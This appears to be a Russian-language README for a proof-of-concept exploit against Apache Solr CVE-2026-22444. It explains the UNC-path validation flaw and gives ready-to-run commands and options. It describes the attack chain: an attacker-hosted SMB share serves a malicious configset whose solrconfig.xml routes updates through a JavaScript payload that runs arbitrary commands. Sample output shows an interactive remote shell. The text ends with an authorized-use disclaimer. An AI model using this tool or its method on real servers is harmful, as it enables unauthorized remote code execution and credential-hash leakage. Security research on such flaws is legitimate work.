
Эксплойт для Apache Solr CVE-2026-22444, использующий внедрение UNC-пути и SMB-сервер для достижения удалённого выполнения кода через вредоносный configset и JavaScript-нагрузку.
Уязвимость проверки UNC-путей в Apache Solr
CVE-2026-22444 — это уязвимость безопасности, затрагивающая Apache Solr, публично раскрытая примерно 20 января 2026 года. Уязвимость вызвана недостаточной проверкой входных данных (CWE-20: Improper Input Validation) в API "create core" Apache Solr для некоторых параметров API, что позволяет злоумышленнику обходить правила безопасности, когда Solr работает в режиме "standalone", что может привести к утечке данных, удалённому выполнению кода (RCE) или раскрытию NTLM-хэшей.
В частности, если в Solr не включена аутентификация или пользователь имеет разрешение на создание ядер, злоумышленник может злоупотребить этим API с помощью специально сформированных запросов для доступа к защищённым файлам или выполнения вредоносных действий.
Уязвимость была обнаружена и сообщена в Apache в 2025 году, а затем публично раскрыта в списке рассылки oss-security:
Официальное объявление: https://www.openwall.com/lists/oss-security/2026/01/20/5
Уязвимость существует в CoreContainer.java, где конструктор CoreDescriptor выполняет сетевые операции до проверки UNC-пути:
instancePath.toAbsolutePath() может разрешать UNC-пути через сетьFiles.exists() выполняет сетевые вызовыFiles.newInputStream() выполняет сетевое чтениеassertPathAllowed() происходит только после этих операцийexploit.py — скрипт эксплуатации (proof-of-concept)files/ — вспомогательные файлы, необходимые для эксплуатации (configset)
rce.js — JavaScript payload для удалённого выполнения кодаconf/ — файлы конфигурации Solr
solrconfig.xml — определяет вредоносную цепочку обработчиков обновленийschema.xml — определение схемы Solrmanaged-schema — управляемый файл схемыrequirements.txt — зависимости Pythonpip install -r requirements.txt
Зависимости включают:
requests>=2.25.0 — для HTTP-запросовimpacket>=0.10.0 — для создания SMB-сервераpython3 exploit.py <целевой_IP>
Пример:
python3 exploit.py 192.168.1.100
python3 exploit.py <целевой_IP> --port <порт>
Пример:
python3 exploit.py 192.168.1.100 --port 8983
python3 exploit.py <целевой_IP> --smb-host <IP_SMB_сервера> --smb-port <порт_SMB>
Пример:
python3 exploit.py 192.168.1.100 --smb-host 192.168.1.50 --smb-port 445
python3 exploit.py <целевой_IP> --share-name <имя_шары>
Пример:
python3 exploit.py 192.168.1.100 --share-name myshare
Позиционные аргументы:
target_host IP-адрес целевого сервера Solr
Необязательные аргументы:
-h, --help Показать справочное сообщение и выйти
--port, -p PORT Порт сервера Solr (по умолчанию: 8983)
--smb-host SMB_HOST IP SMB-сервера (по умолчанию: автоматическое определение локального IP)
--smb-port SMB_PORT Порт SMB-сервера (по умолчанию: 445)
--share-name SHARE Имя SMB-шары (по умолчанию: malicious)
filesПосле успешной эксплуатации скрипт предоставляет интерактивную оболочку:
solr> whoami
[+] exit_code: 0, status: success
--- stdout ---
desktop-abc123\user
solr> dir
[+] exit_code: 0, status: success
--- stdout ---
Volume in drive C has no label.
...
solr> exit
[*] exiting shell...
Поддерживаемые команды:
exit или quit — выход из интерактивной оболочкиCtrl+C — прерывание и выходУязвимость использует следующую цепочку технологий:
configSet (например, //attacker-ip/share)StatelessScriptUpdateProcessorFactory Solr для выполнения JavaScript-кодаpython3 exploit.py 192.168.35.31 \
--port 8983 \
--smb-host 192.168.35.50 \
--smb-port 445 \
--share-name exploit
CVE-2026-22444/
├── exploit.py # Основной скрипт эксплуатации
├── requirements.txt # Зависимости Python
├── files/ # Вредоносный configset
│ ├── rce.js # JavaScript payload для RCE
│ └── conf/ # Каталог конфигурации Solr
│ ├── solrconfig.xml # Настройка вредоносного обработчика обновлений
│ ├── schema.xml # Определение схемы
│ └── managed-schema # Управляемая схема
└── README.md # Этот файл
rce.js: это основной payload для RCE, который:
cmd из параметров запросаsolrconfig.xml: настраивает Solr на использование вредоносной цепочки обработчиков обновлений:
rce-chainrce.js/update для использования этой цепочки⚠️ Предупреждение: этот инструмент предназначен только для авторизованного тестирования безопасности и образовательных целей. Несанкционированное использование этого инструмента для атак на системы незаконно.
Этот проект распространяется под лицензией MIT. Подробную информацию см. в файле LICENSE.
Этот инструмент и информация предоставлены исключительно для исследований в области безопасности и образовательных целей. Автор не несёт ответственности за любой ущерб, причинённый в результате злоупотребления этой информацией или инструментом. Пользователь должен соблюдать все применимые законы и нормативные акты и получить соответствующее разрешение перед использованием.